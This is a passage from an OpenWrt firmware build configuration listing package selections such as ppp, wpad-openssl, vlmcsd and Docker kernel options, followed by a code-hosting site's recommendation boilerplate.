set # CONFIG_PACKAGE_pimbd is not set # CONFIG_PACKAGE_pingcheck is not set # CONFIG_PACKAGE_port-mirroring is not set # CONFIG_PACKAGE_portmap is not set CONFIG_PACKAGE_ppp=y # CONFIG_PACKAGE_ppp-mod-passwordfd is not set # CONFIG_PACKAGE_ppp-mod-pppoa is not set CONFIG_PACKAGE_ppp-mod-pppoe=y # CONFIG_PACKAGE_ppp-mod-pppol2tp is not set # CONFIG_PACKAGE_ppp-mod-pptp is not set # CONFIG_PACKAGE_ppp-mod-radius is not set # CONFIG_PACKAGE_ppp-multilink is not set # CONFIG_PACKAGE_pppdump is not set # CONFIG_PACKAGE_pppoe-discovery is not set # CONFIG_PACKAGE_pppossh is not set # CONFIG_PACKAGE_pppstats is not set # CONFIG_PACKAGE_proto-bonding is not set # CONFIG_PACKAGE_proxychains-ng is not set # CONFIG_PACKAGE_radsecproxy is not set # CONFIG_PACKAGE_redsocks is not set # CONFIG_PACKAGE_redsocks2 is not set # CONFIG_PACKAGE_remserial is not set # CONFIG_PACKAGE_rpcbind is not set # CONFIG_PACKAGE_rssileds is not set # CONFIG_PACKAGE_rsyslog is not set # CONFIG_PACKAGE_samba36-client is not set # CONFIG_PACKAGE_samba36-net is not set # CONFIG_PACKAGE_samba36-server is not set # CONFIG_PACKAGE_samba4-admin is not set # CONFIG_PACKAGE_samba4-client is not set # CONFIG_PACKAGE_samba4-libs is not set # CONFIG_PACKAGE_samba4-server is not set # CONFIG_PACKAGE_samba4-utils is not set # CONFIG_PACKAGE_scapy is not set # CONFIG_PACKAGE_sctp is not set # CONFIG_PACKAGE_sctp-tools is not set # CONFIG_PACKAGE_seafile-ccnet is not set # CONFIG_PACKAGE_seafile-seahub is not set # CONFIG_PACKAGE_seafile-seahub-src is not set # CONFIG_PACKAGE_ser2net is not set # CONFIG_PACKAGE_simple-adblock is not set # CONFIG_PACKAGE_simple-obfs is not set # CONFIG_PACKAGE_simple-obfs-server is not set # CONFIG_PACKAGE_smartsnmpd is not set # CONFIG_PACKAGE_snmp-mibs is not set # CONFIG_PACKAGE_snmp-utils is not set # CONFIG_PACKAGE_snmpd is not set # CONFIG_PACKAGE_snmpd-static is not set # CONFIG_PACKAGE_snmptrapd is not set # CONFIG_PACKAGE_socat is not set # CONFIG_PACKAGE_softflowd is not set # CONFIG_PACKAGE_soloscli is not set # CONFIG_PACKAGE_stunnel is not set # CONFIG_PACKAGE_tayga is not set # CONFIG_PACKAGE_tcpdump is not set # CONFIG_PACKAGE_tcpdump-mini is not set # CONFIG_PACKAGE_tcpping is not set # CONFIG_PACKAGE_tor is not set # CONFIG_PACKAGE_tor-gencert is not set # CONFIG_PACKAGE_tor-geoip is not set # CONFIG_PACKAGE_tor-resolve is not set # CONFIG_PACKAGE_travelmate is not set # CONFIG_PACKAGE_trojan is not set # CONFIG_PACKAGE_u2pnpd is not set CONFIG_PACKAGE_uclient-fetch=y # CONFIG_PACKAGE_udpxy is not set # CONFIG_PACKAGE_ulogd is not set # CONFIG_PACKAGE_umbim is not set # CONFIG_PACKAGE_umdns is not set # CONFIG_PACKAGE_usbip is not set # CONFIG_PACKAGE_vallumd is not set # CONFIG_PACKAGE_verysync is not set CONFIG_PACKAGE_vlmcsd=y # CONFIG_PACKAGE_vncrepeater is not set # CONFIG_PACKAGE_vnstat is not set # CONFIG_PACKAGE_vpnbypass is not set # CONFIG_PACKAGE_vsc7385-ucode-pb44 is not set # CONFIG_PACKAGE_vsc7395-ucode-pb44 is not set # CONFIG_PACKAGE_vti is not set # CONFIG_PACKAGE_vxlan is not set # CONFIG_PACKAGE_wakeonlan is not set # CONFIG_PACKAGE_wpa-cli is not set # CONFIG_PACKAGE_wpa-supplicant is not set # CONFIG_WPA_RFKILL_SUPPORT is not set CONFIG_WPA_MSG_MIN_PRIORITY=3 # CONFIG_WPA_WOLFSSL is not set # CONFIG_DRIVER_WEXT_SUPPORT is not set CONFIG_DRIVER_11N_SUPPORT=y CONFIG_DRIVER_11AC_SUPPORT=y CONFIG_DRIVER_11W_SUPPORT=y # CONFIG_PACKAGE_wpa-supplicant-basic is not set # CONFIG_PACKAGE_wpa-supplicant-mesh-openssl is not set # CONFIG_PACKAGE_wpa-supplicant-mesh-wolfssl is not set # CONFIG_PACKAGE_wpa-supplicant-mini is not set # CONFIG_PACKAGE_wpa-supplicant-openssl is not set # CONFIG_PACKAGE_wpa-supplicant-p2p is not set # CONFIG_PACKAGE_wpa-supplicant-wolfssl is not set # CONFIG_PACKAGE_wpad is not set # CONFIG_PACKAGE_wpad-basic is not set # CONFIG_PACKAGE_wpad-mesh-openssl is not set # CONFIG_PACKAGE_wpad-mesh-wolfssl is not set # CONFIG_PACKAGE_wpad-mini is not set CONFIG_PACKAGE_wpad-openssl=y # CONFIG_PACKAGE_wpad-wolfssl is not set # CONFIG_PACKAGE_wpan-tools is not set # CONFIG_PACKAGE_wwan is not set # CONFIG_PACKAGE_xinetd is not set # # Sound # # CONFIG_PACKAGE_alsa-utils is not set # CONFIG_PACKAGE_alsa-utils-seq is not set # CONFIG_PACKAGE_alsa-utils-tests is not set # CONFIG_PACKAGE_espeak is not set # CONFIG_PACKAGE_faad2 is not set # CONFIG_PACKAGE_fdk-aac is not set # CONFIG_PACKAGE_forked-daapd is not set # CONFIG_PACKAGE_ices is not set # CONFIG_PACKAGE_lame is not set # CONFIG_PACKAGE_lame-lib is not set # CONFIG_PACKAGE_liblo-utils is not set # CONFIG_PACKAGE_madplay is not set # CONFIG_PACKAGE_madplay-alsa is not set # CONFIG_PACKAGE_moc is not set # CONFIG_PACKAGE_mpc is not set # CONFIG_PACKAGE_mpd-avahi-service is not set # CONFIG_PACKAGE_mpd-full is not set # CONFIG_PACKAGE_mpd-mini is not set # CONFIG_PACKAGE_mpg123 is not set # CONFIG_PACKAGE_opus-tools is not set # CONFIG_PACKAGE_pianod is not set # CONFIG_PACKAGE_pianod-client is not set # CONFIG_PACKAGE_portaudio is not set # CONFIG_PACKAGE_pulseaudio-daemon is not set # CONFIG_PACKAGE_pulseaudio-daemon-avahi is not set # CONFIG_PACKAGE_shairplay is not set # CONFIG_PACKAGE_shairport-sync-mbedtls is not set # CONFIG_PACKAGE_shairport-sync-mini is not set # CONFIG_PACKAGE_shairport-sync-openssl is not set # CONFIG_PACKAGE_shine is not set # CONFIG_PACKAGE_sox is not set # CONFIG_PACKAGE_squeezelite-full is not set # CONFIG_PACKAGE_squeezelite-mini is not set # CONFIG_PACKAGE_svox is not set # CONFIG_PACKAGE_upmpdcli is not set # # Utilities # # # Boot Loaders # # CONFIG_PACKAGE_fconfig is not set # CONFIG_PACKAGE_rbcfg is not set CONFIG_PACKAGE_uboot-envtools=y # # Compression # # CONFIG_PACKAGE_bsdtar is not set # CONFIG_PACKAGE_bzip2 is not set # CONFIG_PACKAGE_gzip is not set # CONFIG_PACKAGE_pigz is not set # CONFIG_PACKAGE_unrar is not set # CONFIG_PACKAGE_unzip is not set # CONFIG_PACKAGE_xz-utils is not set # CONFIG_PACKAGE_zip is not set # CONFIG_PACKAGE_zstd is not set # # Database # # CONFIG_PACKAGE_mariadb-common is not set # # Disc # # CONFIG_PACKAGE_blkdiscard is not set # CONFIG_PACKAGE_blkid is not set # CONFIG_PACKAGE_blockdev is not set # CONFIG_PACKAGE_cfdisk is not set # CONFIG_PACKAGE_cgdisk is not set # CONFIG_PACKAGE_eject is not set # CONFIG_PACKAGE_fdisk is not set # CONFIG_PACKAGE_findfs is not set # CONFIG_PACKAGE_fixparts is not set # CONFIG_PACKAGE_gdisk is not set # CONFIG_PACKAGE_hd-idle is not set # CONFIG_PACKAGE_hdparm is not set # CONFIG_PACKAGE_lsblk is not set # CONFIG_PACKAGE_lvm2 is not set # CONFIG_PACKAGE_mdadm is not set # CONFIG_PACKAGE_parted is not set # CONFIG_PACKAGE_partx-utils is not set # CONFIG_PACKAGE_sfdisk is not set # CONFIG_PACKAGE_sgdisk is not set # CONFIG_PACKAGE_wipefs is not set # # Editors # # CONFIG_PACKAGE_joe is not set # CONFIG_PACKAGE_nano is not set # CONFIG_PACKAGE_vim is not set # CONFIG_PACKAGE_vim-full is not set # CONFIG_PACKAGE_vim-fuller is not set # CONFIG_PACKAGE_vim-help is not set # CONFIG_PACKAGE_vim-runtime is not set # CONFIG_PACKAGE_zile is not set # # Encryption # # CONFIG_PACKAGE_ccrypt is not set # CONFIG_PACKAGE_certtool is not set # CONFIG_PACKAGE_cryptsetup is not set # CONFIG_PACKAGE_cryptsetup-openssl is not set # CONFIG_PACKAGE_gnupg is not set # CONFIG_PACKAGE_gnutls-utils is not set # CONFIG_PACKAGE_gpgv is not set # CONFIG_PACKAGE_keyctl is not set # CONFIG_PACKAGE_px5g-mbedtls is not set # CONFIG_PACKAGE_px5g-standalone is not set # CONFIG_PACKAGE_stoken is not set # # Filesystem # # CONFIG_PACKAGE_acl is not set # CONFIG_PACKAGE_antfs-mount is not set # CONFIG_PACKAGE_attr is not set # CONFIG_PACKAGE_badblocks is not set # CONFIG_PACKAGE_btrfs-progs is not set # CONFIG_PACKAGE_chattr is not set # CONFIG_PACKAGE_debugfs is not set # CONFIG_PACKAGE_dosfstools is not set # CONFIG_PACKAGE_dumpe2fs is not set # CONFIG_PACKAGE_e2freefrag is not set # CONFIG_PACKAGE_e2fsprogs is not set # CONFIG_PACKAGE_f2fs-tools is not set # CONFIG_PACKAGE_f2fsck is not set # CONFIG_PACKAGE_filefrag is not set # CONFIG_PACKAGE_fstrim is not set # CONFIG_PACKAGE_fuse-utils is not set # CONFIG_PACKAGE_hfsfsck is not set # CONFIG_PACKAGE_lsattr is not set # CONFIG_PACKAGE_mkf2fs is not set # CONFIG_PACKAGE_mkhfs is not set # CONFIG_PACKAGE_ncdu is not set # CONFIG_PACKAGE_nfs-utils is not set # CONFIG_PACKAGE_nfs-utils-libs is not set # CONFIG_PACKAGE_ntfs-3g is not set # CONFIG_PACKAGE_ntfs-3g-low is not set # CONFIG_PACKAGE_ntfs-3g-utils is not set # CONFIG_PACKAGE_owfs is not set # CONFIG_PACKAGE_owshell is not set # CONFIG_PACKAGE_resize2fs is not set # CONFIG_PACKAGE_squashfs-tools-mksquashfs is not set # CONFIG_PACKAGE_squashfs-tools-unsquashfs is not set # CONFIG_PACKAGE_swap-utils is not set # CONFIG_PACKAGE_sysfsutils is not set # CONFIG_PACKAGE_tune2fs is not set # CONFIG_PACKAGE_xfs-admin is not set # CONFIG_PACKAGE_xfs-fsck is not set # CONFIG_PACKAGE_xfs-growfs is not set # CONFIG_PACKAGE_xfs-mkfs is not set # # Image Manipulation # # CONFIG_PACKAGE_jpeg-tools is not set # CONFIG_PACKAGE_tiff-utils is not set # # Microcontroller programming # # CONFIG_PACKAGE_avrdude is not set # CONFIG_PACKAGE_dfu-programmer is not set # CONFIG_PACKAGE_stm32flash is not set # # RTKLIB Suite # # CONFIG_PACKAGE_convbin is not set # CONFIG_PACKAGE_pos2kml is not set # CONFIG_PACKAGE_rnx2rtkp is not set # CONFIG_PACKAGE_rtkrcv is not set # CONFIG_PACKAGE_str2str is not set # # Shells # # CONFIG_PACKAGE_bash is not set # CONFIG_PACKAGE_klish is not set # CONFIG_PACKAGE_mksh is not set # CONFIG_PACKAGE_tcsh is not set # CONFIG_PACKAGE_zsh is not set # # Terminal # # CONFIG_PACKAGE_agetty is not set # CONFIG_PACKAGE_dvtm is not set # CONFIG_PACKAGE_minicom is not set # CONFIG_PACKAGE_picocom is not set # CONFIG_PACKAGE_rtty-mbedtls is not set # CONFIG_PACKAGE_rtty-nossl is not set # CONFIG_PACKAGE_rtty-openssl is not set # CONFIG_PACKAGE_rtty-wolfssl is not set # CONFIG_PACKAGE_screen is not set # CONFIG_PACKAGE_script-utils is not set # CONFIG_PACKAGE_serialconsole is not set # CONFIG_PACKAGE_setterm is not set # CONFIG_PACKAGE_tio is not set # CONFIG_PACKAGE_tmux is not set # CONFIG_PACKAGE_ttyd is not set # CONFIG_PACKAGE_wall is not set # # Virtualization # # # Zoneinfo # # CONFIG_PACKAGE_zoneinfo-africa is not set # CONFIG_PACKAGE_zoneinfo-asia is not set # CONFIG_PACKAGE_zoneinfo-atlantic is not set # CONFIG_PACKAGE_zoneinfo-australia-nz is not set # CONFIG_PACKAGE_zoneinfo-core is not set # CONFIG_PACKAGE_zoneinfo-europe is not set # CONFIG_PACKAGE_zoneinfo-india is not set # CONFIG_PACKAGE_zoneinfo-northamerica is not set # CONFIG_PACKAGE_zoneinfo-pacific is not set # CONFIG_PACKAGE_zoneinfo-poles is not set # CONFIG_PACKAGE_zoneinfo-simple is not set # CONFIG_PACKAGE_zoneinfo-southamerica is not set # # database # # CONFIG_PACKAGE_pgsql-cli is not set # CONFIG_PACKAGE_pgsql-cli-extra is not set # CONFIG_PACKAGE_pgsql-server is not set # CONFIG_PACKAGE_rrdcgi1 is not set # CONFIG_PACKAGE_rrdtool1 is not set # CONFIG_PACKAGE_sqlite3-cli is not set # CONFIG_PACKAGE_unixodbc-tools is not set # CONFIG_PACKAGE_adb is not set # CONFIG_PACKAGE_ap51-flash is not set # CONFIG_PACKAGE_at is not set # CONFIG_PACKAGE_bandwidthd is not set # CONFIG_PACKAGE_bandwidthd-pgsql is not set # CONFIG_PACKAGE_bandwidthd-php is not set # CONFIG_PACKAGE_bandwidthd-sqlite is not set # CONFIG_PACKAGE_banhostlist is not set # CONFIG_PACKAGE_bc is not set # CONFIG_PACKAGE_bluelog is not set # CONFIG_PACKAGE_bluez-daemon is not set # CONFIG_PACKAGE_bluez-utils is not set # CONFIG_PACKAGE_bluez-utils-extra is not set # CONFIG_PACKAGE_bonniexx is not set # CONFIG_PACKAGE_bsdiff is not set # CONFIG_PACKAGE_bspatch is not set # CONFIG_PACKAGE_cal is not set # CONFIG_PACKAGE_canutils is not set # CONFIG_PACKAGE_cgroupfs-mount is not set # CONFIG_PACKAGE_cmdpad is not set # CONFIG_PACKAGE_coap-client is not set # CONFIG_PACKAGE_collectd is not set CONFIG_PACKAGE_coremark=y # CONFIG_PACKAGE_coreutils is not set # CONFIG_PACKAGE_crconf is not set # CONFIG_PACKAGE_crelay is not set # CONFIG_PACKAGE_csstidy is not set # CONFIG_PACKAGE_ct-bugcheck is not set # CONFIG_PACKAGE_dbus is not set # CONFIG_PACKAGE_dfu-util is not set # CONFIG_PACKAGE_digitemp is not set # CONFIG_PACKAGE_digitemp-usb is not set # CONFIG_PACKAGE_dmesg is not set # # Kernel features for Docker # CONFIG_DOCKER_KERNEL_OPTIONS=y # CONFIG_DOCKER_SECCOMP is not set # CONFIG_DOCKER_RES_SHAPE is not set # # Network # # CONFIG_DOCKER_NET_OVERLAY is not set # CONFIG_DOCKER_NET_MACVLAN is not set # CONFIG_DOCKER_NET_TFTP is not set # # Storage # # CONFIG_DOCKER_STO_EXT4 is not set # CONFIG_DOCKER_STO_BTRFS is not set # CONFIG_PACKAGE_dropbearconvert is not set # CONFIG_PACKAGE_dtc is not set # CONFIG_PACKAGE_dump1090 is not set # CONFIG_PACKAGE_ecdsautils is not set # CONFIG_PACKAGE_elektra-kdb is not set # CONFIG_PACKAGE_evtest is not set # CONFIG_PACKAGE_extract is not set # CONFIG_PACKAGE_fdt-utils is not set # CONFIG_PACKAGE_file is not set # CONFIG_PACKAGE_findutils-find is not set # CONFIG_PACKAGE_findutils-locate is not set # CONFIG_PACKAGE_findutils-xargs is not set # CONFIG_PACKAGE_flashrom is not set # CONFIG_PACKAGE_flashrom-pci is not set # CONFIG_PACKAGE_flashrom-spi is not set # CONFIG_PACKAGE_flashrom-usb is not set # CONFIG_PACKAGE_flent-tools is not set # CONFIG_PACKAGE_flock is not set # CONFIG_PACKAGE_fritz-caldata is not set # CONFIG_PACKAGE_fritz-tffs is not set # CONFIG_PACKAGE_ftdi_eeprom is not set # CONFIG_PACKAGE_gammu is not set # CONFIG_PACKAGE_gawk is not set # CONFIG_PACKAGE_getopt is not set # CONFIG_PACKAGE_giflib-utils is not set # CONFIG_PACKAGE_gkermit is not set # CONFIG_PACKAGE_gpioctl-sysfs is not set # CONFIG_PACKAGE_gpiod-tools is not set # CONFIG_PACKAGE_gpsd is not set # CONFIG_PACKAGE_gpsd-clients is not set # CONFIG_PACKAGE_grep is not set # CONFIG_PACKAGE_hamlib is not set # CONFIG_PACKAGE_haserl is not set # CONFIG_PACKAGE_haveged is not set # CONFIG_PACKAGE_hub-ctrl is not set # CONFIG_PACKAGE_hwclock is not set # CONFIG_PACKAGE_hwloc-utils is not set # CONFIG_PACKAGE_i2c-tools is not set # CONFIG_PACKAGE_iconv is not set # CONFIG_PACKAGE_iio-utils is not set # CONFIG_PACKAGE_inotifywait is not set # CONFIG_PACKAGE_inotifywatch is not set # CONFIG_PACKAGE_io is not set # CONFIG_PACKAGE_irqbalance is not set # CONFIG_PACKAGE_iwcap is not set # CONFIG_PACKAGE_iwinfo is not set # CONFIG_PACKAGE_jq is not set CONFIG_PACKAGE_jshn=y # CONFIG_PACKAGE_kmod is not set # CONFIG_PACKAGE_lcd4linux-custom is not set # CONFIG_PACKAGE_lcdproc-clients is not set # CONFIG_PACKAGE_lcdproc-drivers is not set # CONFIG_PACKAGE_lcdproc-server is not set # CONFIG_PACKAGE_less is not set # CONFIG_PACKAGE_less-wide is not set # CONFIG_PACKAGE_libimobiledevice-utils is not set CONFIG_PACKAGE_libjson-script=y # CONFIG_PACKAGE_libplist-utils is not set # CONFIG_PACKAGE_libsysrepo is not set # CONFIG_PACKAGE_libusbmuxd-utils is not set # CONFIG_PACKAGE_libxml2-utils is not set # CONFIG_PACKAGE_lm-sensors is not set # CONFIG_PACKAGE_lm-sensors-detect is not set # CONFIG_PACKAGE_logger is not set # CONFIG_PACKAGE_logrotate is not set # CONFIG_PACKAGE_look is not set # CONFIG_PACKAGE_losetup is not set # CONFIG_PACKAGE_lrzsz is not set # CONFIG_PACKAGE_lscpu is not set # CONFIG_PACKAGE_lsof is not set # CONFIG_PACKAGE_lxc is not set # CONFIG_PACKAGE_lxc-unprivileged is not set # CONFIG_PACKAGE_maccalc is not set # CONFIG_PACKAGE_macchanger is not set # CONFIG_PACKAGE_mbedtls-util is not set # CONFIG_PACKAGE_mbim-utils is not set # CONFIG_PACKAGE_mbtools is not set # CONFIG_PACKAGE_mc is not set # CONFIG_PACKAGE_mcookie is not set # CONFIG_PACKAGE_mmc-utils is not set # CONFIG_PACKAGE_moreutils is not set # CONFIG_PACKAGE_mount-utils is not set # CONFIG_PACKAGE_mpack is not set # CONFIG_PACKAGE_mt-st is not set # CONFIG_PACKAGE_namei is not set # CONFIG_PACKAGE_netopeer2-cli is not set # CONFIG_PACKAGE_netopeer2-keystored is not set # CONFIG_PACKAGE_netopeer2-server is not set # CONFIG_PACKAGE_netwhere is not set # CONFIG_PACKAGE_nsenter is not set # CONFIG_PACKAGE_oath-toolkit is not set # CONFIG_PACKAGE_open-plc-utils is not set # CONFIG_PACKAGE_open2300 is not set # CONFIG_PACKAGE_openobex is not set # CONFIG_PACKAGE_openobex-apps is not set # CONFIG_PACKAGE_openocd is not set # CONFIG_PACKAGE_opensc-utils is not set CONFIG_PACKAGE_openssl-util=y # CONFIG_PACKAGE_openzwave is not set # CONFIG_PACKAGE_openzwave-config is not set # CONFIG_PACKAGE_owipcalc is not set # CONFIG_PACKAGE_pciutils is not set # CONFIG_PACKAGE_pcsc-tools is not set # CONFIG_PACKAGE_pcscd is not set # CONFIG_PACKAGE_pps-tools is not set # CONFIG_PACKAGE_prlimit is not set # CONFIG_PACKAGE_procps-ng is not set # CONFIG_PACKAGE_progress is not set # CONFIG_PACKAGE_prometheus-node-exporter-lua is not set # CONFIG_PACKAGE_pv is not set # CONFIG_PACKAGE_qmi-utils is not set # CONFIG_PACKAGE_qrencode is not set # CONFIG_PACKAGE_rclone is not set # CONFIG_PACKAGE_relayctl is not set # CONFIG_PACKAGE_rename is not set # CONFIG_PACKAGE_rng-tools is not set # CONFIG_PACKAGE_rtl-ais is not set # CONFIG_PACKAGE_rtl-sdr is not set # CONFIG_PACKAGE_rtl_433 is not set # CONFIG_PACKAGE_sane-backends is not set # CONFIG_PACKAGE_sane-daemon is not set # CONFIG_PACKAGE_sane-frontends is not set # CONFIG_PACKAGE_setserial is not set # CONFIG_PACKAGE_shadow-utils is not set CONFIG_PACKAGE_shellsync=y # CONFIG_PACKAGE_sispmctl is not set # CONFIG_PACKAGE_slide-switch is not set # CONFIG_PACKAGE_smartd is not set # CONFIG_PACKAGE_smartmontools is not set # CONFIG_PACKAGE_smartmontools-drivedb is not set # CONFIG_PACKAGE_smstools3 is not set # CONFIG_PACKAGE_sockread is not set # CONFIG_PACKAGE_spi-tools is not set # CONFIG_PACKAGE_spidev-test is not set # CONFIG_PACKAGE_strace is not set CONFIG_STRACE_NONE=y # CONFIG_STRACE_LIBDW is not set # CONFIG_STRACE_LIBUNWIND is not set # CONFIG_PACKAGE_stress is not set # CONFIG_PACKAGE_sumo is not set # CONFIG_PACKAGE_sysrepo is not set # CONFIG_PACKAGE_sysrepocfg is not set # CONFIG_PACKAGE_sysrepoctl is not set # CONFIG_PACKAGE_sysstat is not set # CONFIG_PACKAGE_tar is not set # CONFIG_PACKAGE_taskwarrior is not set # CONFIG_PACKAGE_tini is not set # CONFIG_PACKAGE_tracertools is not set # CONFIG_PACKAGE_tree is not set # CONFIG_PACKAGE_triggerhappy is not set # CONFIG_PACKAGE_udns-dnsget is not set # CONFIG_PACKAGE_udns-ex-rdns is not set # CONFIG_PACKAGE_udns-rblcheck is not set # CONFIG_PACKAGE_ugps is not set # CONFIG_PACKAGE_uledd is not set # CONFIG_PACKAGE_unshare is not set # CONFIG_PACKAGE_usb-modeswitch is not set # CONFIG_PACKAGE_usbmuxd is not set # CONFIG_PACKAGE_usbreset is not set # CONFIG_PACKAGE_usbutils is not set # CONFIG_PACKAGE_uuidd is not set # CONFIG_PACKAGE_uuidgen is not set # CONFIG_PACKAGE_uvcdynctrl is not set # CONFIG_PACKAGE_v4l-utils is not set # CONFIG_PACKAGE_view1090 is not set # CONFIG_PACKAGE_watchcat is not set # CONFIG_PACKAGE_whereis is not set # CONFIG_PACKAGE_wifitoggle is not set # CONFIG_PACKAGE_xsltproc is not set # CONFIG_PACKAGE_xxd is not set # CONFIG_PACKAGE_yanglint is not set # CONFIG_PACKAGE_yara is not set # CONFIG_PACKAGE_yunbridge is not set # # Xorg # # # font-utils # # CONFIG_PACKAGE_fontconfig is not set

    From user zszszszsz

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.